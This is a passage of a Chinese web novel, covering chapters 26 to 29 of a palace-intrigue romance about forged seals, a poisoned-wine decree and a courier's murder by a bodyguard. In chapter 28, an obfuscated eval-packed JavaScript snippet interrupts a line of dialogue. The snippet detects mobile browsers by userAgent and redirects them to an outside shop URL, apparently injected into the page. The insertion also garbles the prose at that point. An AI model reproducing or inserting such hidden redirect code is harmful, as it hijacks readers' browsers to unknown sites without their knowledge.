“最后,因为粮草匮乏,队伍被突厥士兵围困在山谷之中。有将士提议殊死一战,以求一线生机,我觉得应当如此便同意了,最终几十万大军全军覆没,我也战死沙场。” “事情就是这样。”贺砚随将事情的来龙去脉娓娓道来,说得口干舌燥,莲玉荇适时递上一杯茶水。 莲玉荇摩挲着下巴,“你是说,有人假冒我的名义,把送往军中粮草拦截,导致军中无粮?” 贺砚随默然颔首。 “你出征前确实将一枚私印交给我,可是我把它收在寝宫的匣子里,上了锁,从没用过。”莲玉荇眉头紧锁,看向贺砚随的目光十分坦荡。 贺砚随试图从莲玉荇的脸上找到一丝说谎的痕迹,全无异样,说明莲玉荇并没有说假话。 莲玉荇站起身,走到床边,居高临下看着贺砚随。 “我还有个问题要问你。”莲玉荇说。 “你问。”贺砚随言简意赅,示意莲玉荇说话。 “你有没有下过……”莲玉荇眼神微变,“下过遗诏。” 遗诏?当时他忙着打战,哪里有时间写什么遗诏。 贺砚随十分不解地看向莲玉荇,不知道她问这个是什么意思。 而莲玉荇接下来的话,更让贺砚随震惊不已。 “你身死的消息从边关传来之后,一旨遗诏先遗体送到皇宫。”莲玉荇顶着贺砚随的目光,深吸了一口气,“遗诏的内容是,让我给你殉葬。” 莲玉荇最后几句话几乎是一字一顿,天知道她做了多大的努力,才愿意在贺砚随面前说出来这件事。 毒酒入喉,灼烧身体的痛,至今想来都令她痛苦不堪,午夜梦回之时每每回想起,都不禁瑟瑟发抖。 “那你信了? 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贺砚随说:“不论是边境下旨拦截粮草,还是皇宫遗诏鸩杀,都有私印加盖,所以我们不曾有所怀疑。” “有人在暗中不知道使了什么手段,拿到了我们手中各自的私印,一面拦截粮草,一面借助时间差,伪造遗诏。” “真是好计谋,一石二鸟将我们两人都除掉,同时也能扳倒丞相府。晋国混乱不堪,背后之人便可以趁机掌控整个晋国。” 听着贺砚随的分析,莲玉荇不禁后背发凉,如果是这样,那背后之人的心机实在太深了,想必从很久之前就已经谋划这偌大的棋局。 莲玉荇:“现在耽误之急,是要找出背后的那个人,不然不知道他今后还会做出什么伤天害理的事。” 贺砚随应和,“先前我便查到一些线索,是关于运粮官钱敏,我总觉得他有问题,让人查探了一番,不过没什么异样。正当我打算继续查下去的时候,这人便莫名其妙消失了。” “看上去问题很大。”莲玉荇说:“那便再查钱敏的踪迹。” 商讨完毕之后,两人都沉默不语,气氛顿时尴尬起来。 误会刚解除,总不可能马上恢复到以前那般要好,来日方长。 莲玉荇视线飘忽,一时间不知道说什么。 “那个……天快亮了,我得趁家里人没发现之前赶回去。” 莲玉荇从袖子里拿出一个药瓶,放到贺砚随手上,贺砚随没动,眼睛一眨不眨看着她,十分不舍。 莲玉荇垂下眼,没去看贺砚随灼热的目光,自顾自嘱咐道:“府里大夫开的补气养息丸,你吃了好好养身体,我有空再来看你。” 门外忽然传来清晰地脚步声,贺砚随警觉起来,道:“从这里往后走有个小门,你快走吧,别让十九他们发现了,对你名声不好。” 莲玉荇有些话想对贺砚随说,但看着贺砚随如此着急地为她考虑,把话咽了回去。 门被推开,十九从外面走了进来,手上抱着大包小包的药材,看贺砚随呆坐在床上,担忧道:“主子,您醒了,时辰还早,您再睡会儿。” 贺砚随眼神放空,不知道在想什么,旋即握紧了手上的东西。 26. 绸缪 天色刚蒙蒙亮,丞相府的仆人已经开始做事,莲玉荇避开人群从小门进了府,准备回房休息。 刚上了揽芳阁楼,便听到妙青略带惊讶的声音,“小姐今日怎么起这么早?” “我有点睡不着,起来走走。”莲玉荇脸不红心不跳地撒谎,“你先去忙吧。” 妙青应声退下,莲玉荇动作迅速地开门又关上,背靠着房门,劫后余生似的松了口气。 还好没被妙青发现,不然又要被她喋喋不休,说不定还会告到父亲母亲那里。 精神一旦松懈下来,人很快就会感到疲惫。 莲玉荇方才还很清醒,现在却止不住地困倦,倒在床上昏昏沉沉又睡了过去。 再次睁开眼已经快晌午,妙青打了温水给莲玉荇洗脸,巾帕上脸,洗去了脸上的疲倦之色。 “小姐,今早老爷和夫人原本打算和小姐一起吃早饭,不过看小姐您睡得正好,便没让奴婢叫醒您。”妙青一边给莲玉荇穿衣裳,一边说。 莲玉荇盯着镜子里的自己,有些失神,听到妙青说话才回过神来。 “这样啊,是我疏忽了,已经好些时候没和父亲母亲吃过饭了。”莲玉荇若有所思,“妙青,你去跟后厨说一声,让他们备下酒菜,等父亲散职。” “奴婢记下了。”妙青道。 吃了早饭,莲玉荇去丞相府的库房里翻翻找找,终于在一众宝物中间找到了一块稍显平凡的石头,将它揣进袖子里。 回京的这段时间,莲玉荇一直在想一件事。 今天之前她一直把丞相府的安危寄托在贺沅安身上,现下昭文帝身体尚佳,就算她有能力帮贺沅安走上那个位置,也绝非朝夕可成。 私盐案的账本她拼死拿到,然后送到贺沅安手里,让贺沅安在昭文帝面前找足了存在感,也得到了赏赐。 但贺沅安到现在都没有给她一个准确的答复,加之她和贺砚随解开了误会,背后之人又在操纵棋局,步步紧逼。 她现在要重新考量和贺沅安合作的必要,另外还要未雨绸缪,应对尚未可知的危机,先把自己和丞相府的命运握在手里。 莲玉荇理清思路,心里已经有了主意,她得先去见一个人。 ** 长安街街角有一家香料铺,里面的香料铺种类多种多样,天南海北,甚至还有来自遥远波斯帝国昂贵又独特香料。 无论是世家大族还是平民百姓,都喜欢来这里买香料,香料铺名声远扬。 三三两两的姑娘开开心心进去,又开开心心出来。 莲玉荇站在门口等了一会儿,看人少了一些才进了铺子。 刚进了铺子,掌柜立马热情迎了上来,笑得和蔼,“姑娘,想看看什么香料?” 莲玉荇莞尔,“我想看看来自波斯的香料。” 掌柜一听,笑得更开心了,波斯的香料虽然独特,但是价格昂贵,寻常人买不起,难得来一个阔绰的客人。 “客人,您这边请。”掌柜把莲玉荇带上二楼的包房,莲玉荇不着痕迹看了看,收回眼神跟了上去。 掌柜给莲玉荇倒了茶水,“姑娘你先在这儿稍等片刻,我去取香料来,让姑娘先试试。” 掌柜刚走出去几步,便被莲玉荇叫住了,“掌柜留步,其实我来这里,是想见见你们老板。” “见我们老板?”掌柜停住脚步,旋即笑开了,“我就是这里的老板,姑娘说笑了。” 莲玉荇晃了晃手上的杯子,盯着掌柜,笑了笑,“在这儿包房里没有外人,我真心求见芜阁的阁主,劳烦掌柜的通传一声。” 莲玉荇改了称呼,在掌柜脸上捕捉到一闪而过的慌张。 只是掌柜仍旧不肯松口,“姑娘,我们东家神龙见首不见尾,平日里连我都不能见到,还请姑娘莫要为难……” “掌柜只管替我通传一声,我手里有一件你们东家想要的东西,便看他感不感兴趣了。”莲玉荇淡然自若,抛出了自己的筹码。 掌柜闻言犹豫片刻,躬身道:“那便请姑娘稍等,东家来不来便不是我所能掌控的了。” 莲玉荇颔首感谢,门被关上。 芜阁表面上是享誉京城的香料阁,各种顾客纷至沓来,不用担心每日进账。实际上是游走于江湖朝堂之间的神秘组织,杀人越货、谈判经商、贩卖消息……涉及的方面数不胜数。 莲玉荇辗转才得到了芜阁的消息,得知芜阁的阁主素爱收集玉石,已经到了一种疯魔的程度。 所以莲玉荇才到库房里找了一块玉石,用来谈条件。 只是不知道这芜阁阁主看不看得上。莲玉荇心道。 “哈哈哈哈!” 人未到声先到,下一刻紫衣玉冠的男人从屏风后走了出来,身形挺拔,嘴角含笑,手上的扇子“唰”地一声被合上了。 莲玉荇没想到芜阁的阁主竟然是这么年轻的男人,浑身贵气模样,眼底漆黑深邃,诱人沉沦,危险非常。 “便是你要和芜阁做交易么?”那人止住笑意,上下打量着莲玉荇,“忘了说,我是这芜阁的阁主闻人秀。” 闻人……秀? 莲玉荇的心情一时间变得复杂,这么秀丽的名字和男人的气质好像不是很搭。 “闻人阁主。”莲玉荇欠了欠身,“冒昧来见,还请闻人阁主见谅。” 闻人秀挑眉,自顾自坐了下来,说道:“听闻姑娘带了我想要的东西,不妨先拿出来看看,这样也好谈条件不是?” 莲玉荇从袖子里拿出那块玉石,摊开给闻人秀仔细查看,“闻人阁主请看。” 玉石品相极佳,借着光亮可以清晰看见玉石之内的纹理,还有淡淡的紫色。 一看就不是凡品。 闻人秀一下坐直了身子,下意识伸手去拿,莲玉荇却忽然把手合上了。 闻人秀不悦地皱起眉头,来芜阁和他谈条件的人不少,这种态度的人还是第一次见。 “姑娘这是什么意思?”问人秀问她。 莲玉荇毫不畏惧地迎上闻人秀质问的眼神,道:“既然是谈条件,自然得先拿到我想要的东西。这块紫玉石是早年当今圣上赐给家父的,据说 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莲玉荇把玉石抛了出去,闻人秀毫不犹豫地接住,宝贝地擦了擦,随后哼笑一声,“莲姑娘好大的口气,敢问莲家的情报网和平城楚家的商路,都由姑娘做主吗?该不会只是说说而已。” “这就不由闻人阁主担心了,我自有我的办法。”莲玉荇顿了顿,语气十分强硬,“你只用回答我,你答应,还是不答应。” 闻人秀没说话,气氛越发凝重了,过了许久,闻人秀爽朗的笑声打破了房间内的寂静。 “莲姑娘开出这么丰厚的条件,我不答应,倒显得不知好歹了。”闻人秀摩挲着手上的紫玉石,面色愉悦。 听到闻人秀肯定的回答,莲玉荇紧绷的神经终于放松了几分,脸色也缓和下来,“多谢闻人阁主成全。” 似乎是想到什么,闻人秀眉目一凝,“我有一个问题想问莲姑娘,还请莲姑娘解答。” 莲玉荇点点头,“闻人阁主有事不妨直说,既然闻人阁主答应和我合作,自然知无不言,言无不尽。” 闻人秀眼神探究,看向莲玉荇,“莲姑娘应该知道,芜阁素有城芜阁之称,芜阁里的所有人倾巢出动,可以灭了一个城。莲姑娘大费周章,用这么多筹码和我谈判,掌握芜阁的控制权,到底是为了什么?” 莲玉荇这番举动,实在惹人怀疑,也不坏闻人秀起了疑心。 芜阁是他一手建立的,要是莲玉荇掌握芜阁用来行不轨之事,他得掂量掂量。 莲玉荇垂着头,把玩着衣裳上的流苏,茂密的睫毛在脸上投下一片阴影,没了先前谈判的强势,透露出不自知的脆弱。 问她为了什么?莲玉荇怔忪,还能为了什么呢,为了家人、朋友,还有她自己。 “不过是自保罢了。” 莲玉荇的声音很低,不仔细听可能就随风消散了。 闻人秀一时间竟然看不懂她了。 上有丞相府,下有平城首富楚家,竟还需要他芜阁的人来自保。 真奇怪。 27. 旧事 “站住!快把王爷的玉佩放下,摔坏了,赔上你一条命都赔不起!” 一群下人追着一位女子跑,胆战心惊看着她手上玉佩。 王爷平日里珍藏的玉佩,现下却被她随意捏在手上,根本不在意玉佩有多珍贵。 向来安静沉闷的景王府罕见地喧闹起来,全是因为一位叫眠霜的女子。 眠霜边跑边回头,扬了扬唇角,“想要玉佩,追上我再说。” 下人气喘吁吁追着眠霜跑,跑过假山,绕过回廊,眠霜步履轻快,很快就把他们甩在后面。 眠霜渐渐放慢了步伐,一边回头观察,一边快步走着。 作为一名出色的杀手,眠霜接下很多棘手任务,毫无错漏,所以被堂主派来执行刺杀景王贺沅安。 只是从来没想过任务当夜便被贺沅安发现,反被抓住,囚禁在景王府里。 每当她想逃跑的时候,准会被提前蹲守的暗卫给带回来,无一例外。就算她用绝食来威胁贺沅安,贺沅安也不为所动,甚至说“不想吃就把舌头拔了”这种话。 简直毫无人性。眠霜几乎是咬牙切齿。 这次眠霜从下人口中得知贺沅安有一块很珍视的玉佩,珍重地放在房间里,不允许任何去碰。 眠霜敏锐地察觉到这是一个好机会,所以趁下人不注意溜进贺沅安的房间,找到了玉佩。 这才发生了刚才被追赶的这一幕。 要是这次找到机会,她一定要把贺沅安狠狠折磨致死。眠霜在心里暗暗盘算,眼睛里闪过一丝精光。 一块平平无奇,甚至有点粗糙的玉佩,怎么让贺沅安这么上心?眠霜不由得想。 拐过弯,视线突然开阔起来了,远处是宽阔的池塘,旁边建着观光纳凉的亭子。 似乎是看到了什么恐怖的东西,眠霜眼神一凝,正准备悄悄离开,后退的时候,踩到地上的树枝发出脆响。 远远看到贺沅安往这边看了过来,眠霜怔在原地。 等她反应过来,背后已经多了一群五大三粗的下人,就这么推搡着把她带到贺沅安面前。 “王爷,这女子手脚不干净,竟然跑到王爷房中偷窃,还请王爷处置!”下人陈述事情的经过。 贺沅安背对着他们,修长的手指拈了鱼食扔出去,漫不经心开口:“拿了什么?” 这话不是对下人说,而是问眠霜的。 虽然贺沅安没转过来,眠霜下意识感受到了刺骨的寒意,她开始后悔用这个主意了,但是不这样,她就得一直困在景王府里。 杀不了人,还不能逃跑了。 眠霜没说话,攥紧手里的玉佩,做足了心理斗争,平静道:“我拿了你放在床头匣子里的玉佩,我知道你非常珍视这块玉佩,只要你愿意放了我,我便把玉佩原封不动地还给你。” “不然,我便当场砸了这玉佩,玉石俱焚。” 眠霜的话掷地有声。 此话一出,在场的人都静下来,仿佛被吓到了一般。 这女子活腻歪了吧,竟然敢威胁王爷。 想必不知道王爷温润如玉的面庞下,是怎样一番模样。 下人不约而同低下头,噤声,只有眠霜定定站在原地,盯着贺沅安的背影。 眠霜心道,她当然知道贺沅安就是一颗黑心汤圆。 她在赌贺沅安到底在不在意这个玉佩。 如眠霜所愿,贺沅安身子终于动了,慢慢转过身来,凉薄的眼神落在眠霜身上。 接着,一步一步走向眠霜,脚步声也落在了眠霜心上,一下一下敲着。 贺沅安在离眠霜不远的位置停了下来,眼神似笑非笑,不过笑意不达眼底,“你就这么笃定我会放过你?” 眠霜眼睫颤动。 “拿过来。”贺沅安伸出手,示意眠霜把玉佩拿出来,看上去耐心十足。 眠霜一动没动,手攥得越发紧,几乎要把玉佩捏碎。 没人知道她袖子里藏了一把刀,眠霜有些犹豫,是不顾一切杀了贺沅安,死在众多暗卫的刀下,还是交出玉佩博一线生机。 贺沅安距离眠霜越来越近了,她忽然抽出刀对着贺沅安,“别过来!” 暗卫握紧了手里的刀,只要贺沅安一声令下,他们便手起刀落杀了眠霜。 贺沅安没有命令,仍然一步步靠近眠霜,似乎没有看到眠霜手里的刀,又说了一遍,“拿过来。” 眠霜的手轻微颤抖,贺沅安的心理太强大了,她这点小伎俩根本骗不过他。 眠霜一时失神,回过神时贺沅安正准备拿她手里的玉佩,她下意识挥出了刀。 “当啷——” 暗卫悉数从暗处出现,打落了眠霜手上的刀,眠霜被紧紧擒拿住,分毫动弹不得。 玉佩又重新回到了贺沅安手中,上面的纹路已经被磨损了,他摩挲着玉佩,不知道在想什么。 这玉佩他已经许久没拿出来看过了,这么多年,还是第一次有人拿这个玉佩来威胁他。 贺沅安掀开眼皮,淡淡道:“我平生最恨别人威胁我。” 眠霜对上贺沅安的眼神,隐约意识到什么。 玉佩被贺沅安大力砸到地上,瞬间四分五裂,碎片散落一地,一片狼藉。 贺沅安心里升起一丝隐秘的快意,这么多年积压在心中的郁闷和恨意随着玉佩的破碎,消散了些许。 一块玉佩,怎么能轻易控制他。 ** 皇宫中的最荒芜的地方,属冷宫,这里人迹罕至,除了不受宠的皇子和妃子,几乎没什么人来。 冷宫里有一棵苍天的木棉花书,上面开满了火红的木棉花,给冷宫寂寥的环境增添了几分瑰丽色彩。 两个半大的孩子蹲在树下,扒拉着木棉花,小一点的孩子把木棉花放进嘴里,呸呸呸地吐了出来。 “皇兄,这个根本不能吃。”年幼的贺沅安皱着小脸,朝贺砚随说道。 在冷宫里,能吃得上一顿饱饭,几乎是奢望。 这个时候,贺沅安他们已经饿了一天一夜。 柳妃让他们两个孩子自己待着,跟送饭的太监讨吃的去了。 日头慢慢落了下来,柳妃披着披风,把两个孩子带进了稍稍整洁的屋子里,掏出一个馒头,掰成两半放到贺砚随和贺沅安的手里。 “吃吧。” 那时候柳妃会慈爱地抚摸他们的头,嘱咐他们慢点吃。 后来,一个馒头变 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柳妃重获盛宠,贺砚随和贺沅安也封王立府。 按道理来说,丰衣足食之下,应该不会再有什么问题,可柳妃却郁郁寡欢,身子日渐衰弱,生了好几场大病。 贺沅安始终对贺砚随和柳妃怀恨在心,平日里窝在自己的府上或者整日里浪荡红楼,只偶尔去宫里看看柳妃。 旁人不知,只知道景王贺沅安勤勉政事。 真是可笑。 再后来,贺沅安和贺砚随的生辰日到了,柳妃特意从宫里出来到景王府,给他们兄弟俩庆贺生辰。 府里因为贺沅安的授意,并没有装饰府邸,仍旧如平时冷冷清清,柳妃便让贺砚随去备了一大桌酒席,准备晚上三人同乐。 贺沅安自己并不知道,像往常一样去红楼玩乐,末了兴致起来,带了一个顺眼的女子回府,迎面撞上柳妃和贺砚随。 柳妃没想到自己的小儿子平日里勤勉的样子是装出来的,当场训斥了他一顿。 贺沅安不记得他是什么想法,只记得他那时的反应,搂住花枝招展的女子,对着柳妃和贺砚随冷嘲热讽一顿,心里甚是快意。 只是没想到柳妃受了刺激,登时仰头往后倒去。 当场气死了。 贺沅安的手微微颤抖,各种人来来往往,惊叫声凑到耳边又倏然退去。 贺沅安在院子里站了一夜,披霜带雪。 这一夜,他们没有母妃了。 柳妃下葬之后,贺砚随来找过他,将多年前柳妃给他的玉佩一把扯下来,丢到贺沅安身上。 贺沅安听到贺砚随近乎嘶吼的声音:“不就是为了这块玉佩,现在我还给你。” …… 贺沅安在躺椅上醒来,眼睛里雾蒙蒙一片。 天色已然暗了下来,看样子他睡了好几个时辰,并且还在梦里过完了他的前半生。 贺沅安想笑,却笑不出来,心口闷闷地,像被什么东西堵住了。 贺沅安难耐地闭上眼睛,再睁开已经一片清明。 困住他的玉佩碎了,从此他可以不受束缚,遨游于天地之间。 28. 计谋 城外几十里,送信的人快马加鞭赶往京城,头顶始终跟着一只雄健的苍鹰。 进了城之后,送信的人换了伪装,一路小心翼翼躲开人群,进了端王府才摘了头上的帷帽,向贺砚随恭敬行礼。 贺砚随坐在主位,正查看着密信上的内容,旁边停着那只苍鹰,气势昂扬,不像飞了几天几夜。 “辛苦你了。”贺砚随放下密信示意送信人坐下,送信人十分惶恐,先是呈上了护送完好的重要案册,才心情忐忑地坐了下来,静听吩咐。 十九把案卷呈上,贺砚随随意翻看了几页,面色渐渐凝重。 先前他调查钱敏行踪之时,曾发现钱敏和莲丞相的门生有所联系,便顺藤摸瓜让人调查下去,将调查结果汇集成册。 就是贺砚随手上这本。 这里面记载了一些和莲丞相关系密切的官员,秘密站队皇子、贪赃枉法,更有甚者勾结突厥,意图叛国的证据。 其中就包括平城太守江轩。 先不论莲丞相里面的内容随便一页,都可以让丞相府死无葬身之地。 贺砚随呼吸滞涩,仿佛手里的是烫手山芋,旋即忽地合上手里的册子。 “里面的内容你可有见过?”贺砚随看向送信人,眼神尖锐,冷冷质问道。 送信人身子一抖,登时站起身,慌忙解释,“王爷明鉴,小人拿到这书册之时,书册便被特殊的蜡油封口,小人就是有天大的胆子,也不敢偷看里面的内容。” 贺砚随给十九使了一个眼色,十九意会,立刻查看了书册上的封蜡,确实是端王府特有的手法。 送信人就快给贺砚随跪下了,欲哭无泪,俄而贺砚随摆摆手,已经恢复到了平常的模样,速度快到让人觉得是幻觉。 没人察觉到贺砚随暗暗松了一口气,他语气淡淡,“那就好,这里面的东西够诛九族,若你想看也得掂量掂量。” “是是是。”送信人擦了擦头上的汗,连连称是。 问清楚之后,贺砚随便让十九把人送回去休息。 二人离开之后,贺砚随重新翻开书册,伸出手摸着上面的字迹,罕见地犹豫了。 他总觉得背后之人是在针对他和莲玉荇做局,想置他们于死地。 接下来或许要对丞相府下手了。不论前世今生,莲玉荇都很重视家人,要是告诉了她,她一定会奋不顾身,像淮安县庄府私宅抢夺账本一样。 但是如果隐瞒,以莲玉荇的性子,必然会怨怪自己,给他们的感情增加隔阂。 贺砚随思虑许久,还是决定将此事告诉莲玉荇。 重来一世,不管遇到多少艰难险阻,他都会和莲玉荇一起面对。 长安街某处巷子,十九按照贺砚随的吩咐,尽心尽职把送信人护送回家。 只是十九一路上心不在焉,引起了送信人的注意,“多谢大人送小的回家,您一路劳累,不如早点回去休息。” “……啊,到了,那你好好休息。”十九恍然大悟,连连退后,“那你好好休息,我就先走了。” 只是往前走了几步,十九便停住了脚步,眼神漂浮,好似在想什么重要的事情。 “大人,怎么了?”送信人疑惑的声音从身后传来。 方才在府中,十九隐隐察觉到主子的反应不对劲,查看封蜡的时候,他不小心瞧见了书册上的内容,什么收受贿赂,暗通敌国…… 也难怪主子特意问了一句送信人是否偷看,确实是能诛九族的事情。 奇怪的是,主子竟然没有刨根问底,以往王爷都十分谨慎,不做这种没把握的事情。 斩草不除根,春风吹又生。 十九心里有了主意,背过身时脸色堆满了笑意,他大步走到送信人身边。 “哎呀,方才不觉得,现下倒是有些口渴,可否在你这儿讨一杯水喝?” 十九放缓了语气,加上他满脸堆笑,没什么恶意,送信人愣了片刻便让他进去了。 过了一会儿,里屋隐约发出细微的声音,“大人!这是做什么!大人!” 再出来时,十九已经擦干净身上的血迹,环顾四周,确认没人发现,悄然离开了。 角落里有人惊恐地缩着身体,大口大口地喘息着,庆幸自己捡回一条命。 ** 画面一转,先前躲在角落里的那人出现在景王府,跪在贺沅安面前之时还在发抖,方才的场景还历历在目。 “回王爷,我亲眼看到那人动手杀了杜郎,先前还在侃侃而谈,下一秒便手起刀落将人杀了。”男人惊恐道。 杜郎就是送信人。 贺沅安坐在书桌后面,没注意男人的表现,垂着眼,仔细翻看着书卷,赫然和贺砚随之前查看的那本一模一样。 侍卫还在问话,“你确定杀人者是从端王府出来的?” “确定。”男人小鸡啄米似地点点头,接着被带出去了。 侍卫问出了重点,立马向贺沅安汇报,“王爷,人确实被端王手下给杀了。” 贺沅安翻动书册的手一顿,又继续翻了起来,轻笑,“贺砚随手下的人胆子可真大。” 贺沅安的笑里带着几分嘲弄。 皇城之中有多少人盯着他们,那暗卫就这么堂而皇之杀了送信人,真不知道该夸他聪明还是蠢了。 “王爷,那接下来怎么做?”侍卫恭敬问道。 “给丞相府送拜帖,就说本王邀莲姑娘在城外一叙。” 贺沅安眼尾透着戏谑,听说贺砚随和莲玉荇近来亲近了不少,关系更进一步。 现下有这么好的机会,可以给贺砚随添堵,他怎么能错过呢? 贺沅安盯着桌上的书册,笑意更深了。 ** 约定的日子到了,莲玉荇早早来到郊外,环顾四周没有看到一个人影。 莲玉荇很是奇怪,贺沅安怎么选了这么一个地方? 等了小半个时辰,在莲玉荇以为贺沅安故意耍弄自己,其实根本没来的时候,贺沅安悠悠从树林里走了出来。 莲玉荇压住心底的疑惑,问道:“景王殿下特意找了这么个地方,是有什么重要之事吗?” 贺沅安在莲玉荇面前站定,把一本厚厚的书册递给莲玉荇,莲玉荇不懂贺沅安葫芦里卖的是什么药,犹豫了一下,还是选择接过书册。 只是越看越是震惊,里面全是莲丞相门生及关系密切的同僚的罪证。 莲玉荇呼吸变得急促,若是落到其他人手里,这就是妥妥的罪证,就算莲丞相没有直接参与,也断然逃不了什么干系。 莲玉荇心里很是庆幸,面露感激,直接欠身行礼,“多谢景王殿下大恩大德,玉荇无以为报,若以后景王殿下用得上玉荇,尽管吩咐。” “不是什么大事,就当是回报你上次将淮安县令贩卖人口和私盐的账本送到本王手上。”贺沅安的语气轻描淡写,不是很在乎。 莲玉荇握紧了书册,连连称谢,不过贺沅安接下来的话,却使她浑身冰冷,如坠冰窟。 贺沅安:“莲姑娘应该不知道,其实贺砚随拿到这书册的时间比本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430463|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王早,就在今早。” “本王的人亲眼看到送信人将东西送进端王府,而后贺砚随派了身边的侍卫将送信人送回家。” “只是本王来的时候收到消息,送信人被人杀死,横尸家中。” 贺沅安的话一字一句敲在莲玉荇的心上,她的心跳声砰砰,几乎震耳欲聋。 什么意思?莲玉荇愣在原地,浑身血液逆流,身上阵阵发麻。 良久,莲玉荇终于消化完贺沅安话里的信息—— 贺砚随手里拿着关乎整个丞相府命运的证据,但是并没有告知于她,反而派人将知情人杀死了。 要不是贺沅安,她根本没有机会知道这件事。 莲玉荇不相信贺砚随会这样做,内心挣扎困顿,她匆匆拜别贺沅安回了丞相府。 那夜两人坦诚相见,她原本以为贺砚随是值得信任之人,将自己所知和盘托出。 贺砚随却隐瞒了这么重要的事情。 莲玉荇眼眶通红,下了马车之后步履匆忙,想赶紧回房去。 一道熟悉的声音叫住了她,“阿荇!” 莲玉荇脚步顿住,脸上闪过痛苦挣扎,最终还是停下了脚步,语气生硬,“进来说话。” 她想听听贺砚随怎么解释。如果真如贺沅安所说,那她便就此与贺砚随恩断义绝,一个满口谎言的人,不值得她喜欢。 贺砚随跟在莲玉荇身后进了丞相府,莲玉荇没把他带进正厅,而是找了个偏僻的角落,两人的身影掩在绿植之间。 莲玉荇没看贺砚随,道:“有什么事便在这里说吧,以免旁人见了误会。” “阿荇,你怎么了?”贺砚随皱起眉头,他不知道为什么莲玉荇对他的态度变化这么快,明明前几日还好好的。 莲玉荇眼神透出不耐,显然是不想回答,虽然贺砚随好奇莲玉荇的态度变化,但是现在显然不是讨论这个的时候。 “我来找你,是想跟你说一件很重要的事情,是关于你父亲的……” 贺砚随话还没说完便被打断了,莲玉荇嗤声,“是关于我父亲通敌叛国的证据,是也不是?” 贺砚随愣住,眼神探究地看向莲玉荇,“你是如何知晓的?” “自然是有人告知我的。”莲玉荇毫不客气,“既然没什么事情,那便请端王殿下离开。” 气氛一下子变得剑拔弩张,贺砚随沉下脸色,问道:“阿荇,我们之间是不是有什么误会?” 莲玉荇:“哪里来的误会,隐瞒这件事的是不是你?” 贺砚随百口莫辩:“我没想隐瞒,白日我派人来找你,发现你不在府中。” 莲玉荇:“派人杀了送信人灭口的是不是你?”莲玉荇在杀人灭口几个字上加重了语气。 贺砚随茫然失措:“我何时灭口了……”他明明让十九将人好好送了回去。 贺砚随想辩解,不知道事情究竟如何,不敢随意开口,怕火上浇油。 这副模样落在莲玉荇,就是明晃晃地心虚,无从开口。 莲玉荇心凉了半截,再开口已然是面对陌生人的口吻,“不必解释了。” “管家,送客!” 被赶出府的贺砚随脸色铁青,想不通问题出在了哪里。 他明明派十九将人送回家去,怎么最后成了他杀人灭口? 聪慧如贺砚随,很快就找到了问题的关键。 贺砚随颓然地闭上眼,再睁开眼底漆黑一片,若是此刻有熟悉的人在身边,必然能分辨出其中的涛涛怒火。 十九。 29. 惩戒 “你如实向本王说说,你到底对送信之人做了什么?” 暗卫房门口聚集了很多人,平日里隐在暗处的暗卫全都露面,站在一边。 十九跪在地上,双手缚在身后,垂着头一言不发。 气氛十分压抑,众人都没见贺砚随发这么大的火,平日了主子动怒,都不显山露水,而不是像现在一身黑衣,满脸怒气。 从丞相府回来之后,贺砚随便派迎月去查查事情真相,发现事实确实如莲玉荇所说。 十九护送送信人回家,去而折返,将送信人杀死在家中。 “本王平日里就是这么教你们的是吗?目无法度,肆意杀人,还让旁人抓了把柄。”贺砚随质问十九,“本王叫你将人送回家去,你倒好,直接把人杀了。” “请王爷责罚,十九没有半分怨言。”十九没有辩驳,他违抗了王爷的命令,擅自做决断,将送信人给杀了,还刚好被景王拿了把柄,若他不受罚,不能服众。 贺砚随面若寒霜,气势骇人,身上的威压震得在场的暗卫瑟缩,不敢吭声。 “拿戒鞭!”贺砚随眼底浮浮沉沉,今日不小施惩戒,在场的暗卫今后便不会再听从他的吩咐。 若人人都能肆意妄为,岂不是天下大乱。 戒鞭放在手上很有重量,贺砚随用手掂量了一下,来到十九身后,举起鞭子,重重挥了下去。 一霎那,十九的背上多了一道血痕。 一下。 两下。 三下。 十九咬着牙没吭声,贺砚随眸色渐深,丢了鞭子,背过身去。 “鞭笞三十,关禁闭,罚俸禄一月。” 撂下一句话,贺砚随径直回了书房,迎月赶紧跟上。 书房的门被关上,迎月道:“主子,您吩咐我查的事有了一点眉目。送信人送来的书册上确实是端王府特有的封蜡方式,属下仔细对比查看,终于发现端倪。” “书册角落有一处不一样的痕迹,略显粗糙,封蜡不均匀,像是拆开又重新封上去的。”迎月娓娓道来。 “你的意思是,有人一路跟踪送信人,趁他不注意,将东西誊抄下来。”贺砚随用手摸了摸书册那一角,果然粗糙。 贺砚随心下一沉,这人能趁送信人不注意,将这么厚的书页誊抄一份,必然做了十分充足的准备。 还赶在他之前,把书册交给莲玉荇,挑拨离间他们之间的关系,心思实在歹毒。 他好不容易找回来的人,不能就这么轻易被人得逞。 贺砚随眼神一凛,吩咐道:“迎月,你即刻带人去查书册上的名单,看他们最近有什么异动,和什么人有所接触?” 迎月领命,“遵命!” 书房只剩下贺砚随一人,他坐在太师椅上,平日里挺直的腰背此刻微微弯曲,像是被风吹弯的翠竹。 贺砚随满眼疲惫,闭上了眼睛。 背后之人接下来要对丞相府动手了,一旦坐实罪名,必定会牵连整个丞相府。 他得做些什么阻止这件事情发生,决不能让背后之人得逞。 ** 得到那份证据之后,莲玉荇心中不安,想着赶紧把这件事告知莲丞相。 但莲丞相刚好出了京都去其他地方视察,莲玉荇没有办法,只能先修书一封寄往外地,希望莲丞相能够及时收到信,赶回来商量一下对策。 莲玉荇还抽空去了一趟芜阁,闻人秀得了莲玉荇先前许诺的好处,将芜阁的事务又扩大了许多,整个人潇洒得很。 见到莲玉荇来了,脸上的笑意也没有丝毫收敛。 “莲姑娘怎么有空来芜阁?”闻人秀手里把玩着莲玉荇之前送他的紫玉石,问道。 莲玉荇不废话,把东西递给闻人秀,“遇到点麻烦事,劳烦闻人阁主帮我查查。” 闻人秀欣然应下,临走时,莲玉荇还向闻人秀讨要了几件珍宝。 芜阁奇珍异宝众多,闻人秀给的这几件只能算是中等。 